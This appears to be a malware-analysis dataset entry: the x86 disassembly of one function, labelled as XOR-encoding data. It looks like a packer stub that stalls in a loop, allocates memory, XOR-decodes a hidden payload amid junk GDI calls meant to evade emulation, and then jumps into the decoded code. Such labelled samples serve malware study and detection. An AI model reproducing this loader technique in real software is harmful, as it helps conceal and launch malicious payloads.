Function at 0x4c4820
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x4c44f0
call fcn.00406564
mov dword [0x4c8dd8], 0x8a58a
mov dword [0x4c8d88], 0xe
push 0
call sub.user32.dll_GetDlgCtrlID
inc dword [0x4c8d88]
cmp dword [0x4c8d88], 0x530723
jne 0x4c4844
mov dword [0x4c8da0], 0xabdf0
mov dword [0x4c8dc0], esp
add dword [0x4c8dc0], 0x40
mov dword [0x4c8dc4], ebp
add dword [0x4c8dc4], 0x20
lea ecx, [0x4c8668]
mov eax, dword [ecx - 0x10]
mov dword [0x4c8dcc], eax
mov eax, dword [ecx - 0x14]
mov dword [0x4c8dc8], eax
push 0x4c4bdc
push 0xa
mov ecx, dword [0x4c8668]
mov dl, 1
mov eax, dword [0x41b280]
call fcn.00420020
mov dword [0x4c8d8c], eax
mov dword [0x4c8dd0], 0x1001
mov dword [0x4c8dd4], 0x2314
mov eax, sub.kernel32.dll_VirtualAlloc_1
mov dword [0x4c8ddc], eax
mov dword [0x4c8de0], 0xffffffff
mov dword [0x4c8dac], 0x85
mov eax, dword [0x4c8dd4]
sub eax, 0x22d4
push eax
mov eax, dword [0x4c8dd0]
dec eax
push eax
mov eax, dword [0x4c8d8c]
mov edx, dword [eax]
call dword [edx]
add eax, dword [0x4c8dac]
push eax
push 0
call dword [0x4c8ddc]
mov dword [0x4c8d90], eax
mov eax, dword [0x4c8dd4]
sub eax, 0x22d4
push eax
mov eax, dword [0x4c8dd0]
dec eax
push eax
mov eax, dword [0x4c8d8c]
mov edx, dword [eax]
call dword [edx]
add eax, dword [0x4c8dac]
push eax
push 0
call dword [0x4c8ddc]
mov dword [0x4c8d98], eax
mov eax, dword [0x4c8d8c]
mov edx, dword [eax]
call dword [edx]
mov edx, eax
mov eax, dword [0x4c8d98]
call fcn.0040723c
mov eax, dword [0x4c8d8c]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x4c8d90]
mov eax, dword [0x4c8d8c]
call fcn.0041f9bc
mov eax, dword [0x4c8d90]
mov eax, dword [eax]
mov dword [0x4c8d9c], eax
mov eax, dword [0x4c8d90]
add eax, 4
mov dword [0x4c8d90], eax
mov eax, dword [0x4c8d98]
mov dword [0x4c8d94], eax
mov eax, dword [0x4c8d94]
sub eax, 4
mov dword [0x4c8d94], eax
xor eax, eax
mov dword [0x4c8db8], eax
xor eax, eax
mov dword [0x4c8dbc], eax
mov dword [0x4c8da8], 0x583
mov dword [0x4c8db0], 0x6f
mov eax, dword [0x4c8d8c]
mov edx, dword [eax]
call dword [edx]
mov dword [0x4c8db4], eax
xor eax, eax
mov dword [0x4c8d88], eax
mov eax, dword [0x4c8db8]
cmp eax, dword [0x4c8db4]
jae 0x4c4aab
mov edx, dword [0x4c8d90]
add edx, dword [0x4c8db8]
add edx, dword [0x4c8d88]
mov eax, dword [0x4c8d98]
add eax, dword [0x4c8dbc]
mov ecx, dword [0x4c8dac]
call fcn.00407234
mov eax, dword [0x4c8dac]
add dword [0x4c8dbc], eax
mov eax, dword [0x4c8dac]
add dword [0x4c8db8], eax
mov eax, dword [0x4c8db0]
add dword [0x4c8db8], eax
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
jmp 0x4c49dc
xor eax, eax
mov dword [0x4c8d88], eax
mov eax, dword [0x4c8d88]
cmp eax, dword [0x4c8d9c]
jae 0x4c4b78
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
push 0
call sub.gdi32.dll_GetObjectType
push 0
call sub.gdi32.dll_GetPixelFormat
mov eax, dword [0x4c8d88]
mov edx, dword [0x4c8d98]
add dword [edx], eax
mov eax, dword [0x4c8da8]
add eax, dword [0x4c8dd8]
add eax, dword [0x4c8d88]
mov edx, dword [0x4c8d98]
xor dword [edx], eax
add dword [0x4c8d88], 4
add dword [0x4c8d98], 4
mov eax, dword [0x4c8d88]
cmp eax, dword [0x4c8d9c]
jb 0x4c4ac3
mov eax, dword [0x4c8d94]
add eax, dword [0x4c8da0]
sub eax, 0x1000
add eax, 4
mov dword [0x4c8da4], eax
mov eax, 0x71
push dword [0x4c8dc0]
mov eax, 0x19e
push dword [0x4c8dc4]
mov eax, 0x5b0
push dword [0x4c8dc8]
mov eax, 0xa7
push dword [0x4c8dcc]
push dword [0x4c8668]
mov eax, 1
push eax
jmp dword [0x4c8da4]